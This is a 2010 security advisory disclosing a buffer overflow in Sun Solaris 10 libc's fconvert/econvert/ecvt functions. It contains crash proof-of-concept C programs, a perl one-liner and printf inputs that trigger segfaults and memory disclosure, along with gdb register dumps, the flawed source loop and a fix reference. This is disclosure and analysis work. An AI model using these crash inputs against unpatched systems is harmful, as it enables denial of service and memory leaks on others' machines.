-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



[ Sun Solaris 10 libc/*convert (*cvt) buffer overflow ]



Author: Maksymilian Arciemowicz

http://SecurityReason.com

Date:

- - Dis.: 15.04.2010

- - Pub.: 21.05.2010



Affected Software:

- - Sun Solaris 10 10/9



Original URL:

http://securityreason.com/achievement_securityalert/86





- --- 0.Description ---

SYNOPSIS

     #include <floatingpoint.h>



     char *econvert(double value, int  ndigit,  int  *decpt,  int

     *sign, char *buf);



     char *fconvert(double value, int  ndigit,  int  *decpt,  int

     *sign, char *buf);



     char *gconvert(double value, int ndigit, int trailing,  char

     *buf);



     char *seconvert(single *value, int ndigit, int  *decpt,  int

     *sign, char *buf);



     char *sfconvert(single *value, int ndigit, int  *decpt,  int

     *sign, char *buf);



     char *sgconvert(single *value,  int  ndigit,  int  trailing,

     char *buf);



     char *qeconvert(quadruple *value, int  ndigit,  int  *decpt,

     int *sign, char *buf);



     char *qfconvert(quadruple *value, int  ndigit,  int  *decpt,

     int *sign, char *buf);



     char *qgconvert(quadruple *value, int ndigit, int  trailing,

     char *buf);



     The econvert()  function  converts  the  value  to  a  null-

     terminated  string of ndigit ASCII digits in buf and returns

     a pointer to buf. buf should contain at least ndigit+1 char-

     acters.  The  position  of the decimal point relative to the

     beginning of the string is stored indirectly through  decpt.

     Thus buf == "314" and *decpt == 1 corresponds to the numeri-

     cal value  3.14,  while  buf  ==  "314"  and  *decpt  ==  -1

     corresponds to the numerical value .0314. If the sign of the

     result is negative, the word pointed to by sign is  nonzero;

     otherwise  it  is  zero.   The  least  significant  digit is

     rounded.



SYNOPSIS

     #include <stdlib.h>



     char *ecvt(double value, int ndigit,  int  *restrict  decpt,

     int *restrict sign);



     char *fcvt(double value, int ndigit,  int  *restrict  decpt,

     int *restrict sign);



     char *gcvt(double value, int ndigit, char *buf);



DESCRIPTION

     The ecvt(), fcvt() and gcvt()  functions  convert  floating-

     point numbers to null-terminated strings.





- --- 1. Sun Solaris 10 libc/*convert (*cvt) buffer overflow ---

The main problem exists in sun solaris libc. OpenSolaris is not affected.



PoC:

- ---

# cat jaja.c

#include <stdio.h>

#include <stdlib.h>



int main (int argc, char *argv[]){



        char number[10000];



        int a,b;



        printf("%s", fconvert((double)0,atoi(argv[1]),&a,&b,number));

        return 0;

}



# /usr/local/bin/gcc -o jaja jaja.c

# ./jaja 16

0000000000000000#

# ./jaja 512

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000#

- ---



for 512 will work fine, because we have used (double)0 to convert. When we use 
no zero value, then crash.



ok. let`s set no zero value in jaja2.c



Poc:

- ---

# cat jaja2.c

#include <stdio.h>

#include <stdlib.h>



int main (int argc, char *argv[]){



        char number[10000];



        int a,b;



        printf("%s", fconvert((double)1,atoi(argv[1]),&a,&b,number));

        return 0;

}



# /usr/local/bin/gcc -o jaja2 jaja2.c

# ./jaja2 512

Segmentation fault (core dumped)

# /usr/local/bin/gdb -q jaja2

(no debugging symbols found)

(gdb) r 512

Starting program: /jaja2 512

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfeeab05c in fconvert () from /lib/libc.so.1

(gdb) i r

eax            0x8047240        134509120

ecx            0x3250   12880

edx            0x8048000        134512640

ebx            0xfef9e000       -17178624

esp            0x8044b38        0x8044b38

ebp            0x8044d68        0x8044d68

esi            0x200    512

edi            0x0      0

eip            0xfeeab05c       0xfeeab05c <fconvert+163>

eflags         0x10206  [ PF IF RF ]

cs             0x3b     59

ss             0x43     67

ds             0x43     67

es             0x43     67

fs             0x0      0

gs             0x1c3    451

(gdb) x/x $edx

0x8048000:      Cannot access memory at address 0x8048000

(gdb)

- ---



the same result we can get with perl(1)



PoC perl:

- ---

#!/usr/local/bin/perl

printf "%.512f", 1;

# perl pss.pl

Segmentation Fault - core dumped

# /usr/local/bin/gdb -q perl

(no debugging symbols found)

(gdb) r pss.pl

Starting program: /usr/bin/perl pss.pl

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfed7b05c in fconvert () from /lib/libc.so.1

- ---



ok.



function like *cvt(3) are also affected. let`s check ecvt(3)



PoC:

- ---

# cat jaja3.c

#include <stdio.h>

#include <stdlib.h>



int main (int argc, char *argv[]){



        int a,b;



        printf("%s", ecvt((double)1,atoi(argv[1]),&a,&b));

        return 0;

}



# ./jaja3 3405

%Y....[some_part_of_memory]

#

- ---



it`s look like a memory disclosure



let's see bigger value



PoC:

- ---

# ./jaja3 3500

Segmentation fault (core dumped)

- ---



now is the time to debug it



PoC:

- ---

# /usr/local/bin/gdb -q jaja3

(no debugging symbols found)

(gdb)

(gdb) r 4000

Starting program: /jaja3 4000

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfeeaaf72 in econvert () from /lib/libc.so.1

(gdb) i r

eax            0xf00    3840

ecx            0xdac    3500

edx            0xfef929ab       -17225301

ebx            0xfef9e000       -17178624

esp            0x8047230        0x8047230

ebp            0x8047460        0x8047460

esi            0xfa0    4000

edi            0x1      1

eip            0xfeeaaf72       0xfeeaaf72 <econvert+144>

eflags         0x10287  [ CF PF SF IF RF ]

cs             0x3b     59

ss             0x43     67

ds             0x43     67

es             0x43     67

fs             0x0      0

gs             0x1c3    451

- ---



eip can be differ, not ever in econvert+144



PoC:

- ---

(gdb) r 3501111111

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /jaja3 3501111111

[New LWP    1        ]

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfeeaaf89 in econvert () from /lib/libc.so.1

(gdb) i r

eax            0xcfa7d347       -811084985

ecx            0x0      0

edx            0x1      1

ebx            0xfef9e000       -17178624

esp            0x8047230        0x8047230

ebp            0x8047460        0x8047460

esi            0xd0aeb747       -793856185

edi            0x1      1

eip            0xfeeaaf89       0xfeeaaf89 <econvert+167>

eflags         0x10287  [ CF PF SF IF RF ]

cs             0x3b     59

ss             0x43     67

ds             0x43     67

es             0x43     67

fs             0x0      0

gs             0x1c3    451

- ---



and not ever should crash in econvert



very interesting behavior, we can see in printf(1) program



PoC:

- ---

# /usr/local/bin/gdb -q printf

(no debugging symbols found)

(gdb) r %.011111f 0

Starting program: /usr/bin/printf %.011111f 0

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfeea48da in _malloc_unlocked () from /lib/libc.so.1

(gdb) r %.0111111f 0

The program being debugged has been started already.

Start it from the beginning? (y or n) y



Starting program: /usr/bin/printf %.0111111f 0

[New LWP    1        ]

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfee852ab in memcpy () from /lib/libc.so.1



(gdb) r %.0111111f 1

The program being debugged has been started already.

Start it from the beginning? (y or n) y



Starting program: /usr/bin/printf %.0111111f 1

[New LWP    1        ]

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfee8b05c in fconvert () from /lib/libc.so.1

(gdb) x/i $eip

0xfee8b05c <fconvert+163>:      mov    %al,(%edx)

- ---



for printf(1) we have get eip in:

- - fconvert+163 (the same like in jaja2=512)

- - memcpy

- - _malloc_unlocked

- - others



this vuln is very similar to CVE-2009-0689 but we don't have founded part of 
gdtoa license in Oracle license and bahavior for above examples are differs as 
in CVE-2009-0689.



http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/ecvt.c



- ---

     34 char           *

     35 ecvt(arg, ndigits, decpt, sign)

     36         double          arg;

     37         int             ndigits, *decpt, *sign;

     38 {

     39         if (efcvtbuffer == NULL)

     40                 efcvtbuffer = (char *)calloc(1,1024);

     41         return econvert(arg, ndigits, decpt, sign, efcvtbuffer);

     42 }

     43 

- ---



efcvtbuffer = (char *)calloc(1,1024);

and ndigits is bigger from efcvtbuffer size.



now we show econvert(), 



http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/econvert.c



- ---

     34 econvert(arg, ndigits, decpt, sign, buf)

     35         double          arg;

     36         int             ndigits, *decpt, *sign;

     37         char           *buf;

     38 {

     39         decimal_mode    dm;

     40         decimal_record  dr;

     41         fp_exception_field_type ef;

     42         int             i;

     43         char           *pc;

     44         int             nc;

     45 

     46         dm.rd = fp_direction;   /* Rounding direction. */

     47         dm.df = floating_form;  /* E format. */

     48         dm.ndigits = ndigits;   /* Number of significant digits. */

     49         double_to_decimal(&arg, &dm, &dr, &ef);

     50         *sign = dr.sign;

     51         switch (dr.fpclass) {

     52         case fp_normal:

     53         case fp_subnormal:

     54                 *decpt = dr.exponent + ndigits;

     55                 for (i = 0; i < ndigits; i++)

     56                         buf[i] = dr.ds[i];

     57                 buf[ndigits] = 0;

     58                 break;

- ---



line 55 and 56 show buffer overflow.



We do not know why, but the OpenSolaris project, contains a security patch and 
the project is vulnerable SunOS.





- --- 2. Fix ---

Sun bug 5105920



OpenSolaris has removed this issue without realizing the security nature of the 
bug.





- --- 3. Greets ---

sp3x Infospec pi3





- --- 4. Contact ---

Author: SecurityReason.com [ Maksymilian Arciemowicz ]



Email:

- - cxib {a\./t] securityreason [d=t} com



GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg



http://securityreason.com/

http://securityreason.com/exploit_alert/ - Exploit Database

http://securityreason.com/security_alert/ - Vulnerability Database

-----BEGIN PGP SIGNATURE-----



iEYEARECAAYFAkv2dzwACgkQpiCeOKaYa9ZlZgCePDO6yzT92gv8BZWgVIzkRVz7

SHIAn2EeEKyQMPdGXWcEahv0lYzwizzy

=SXST

-----END PGP SIGNATURE-----

Reply via email to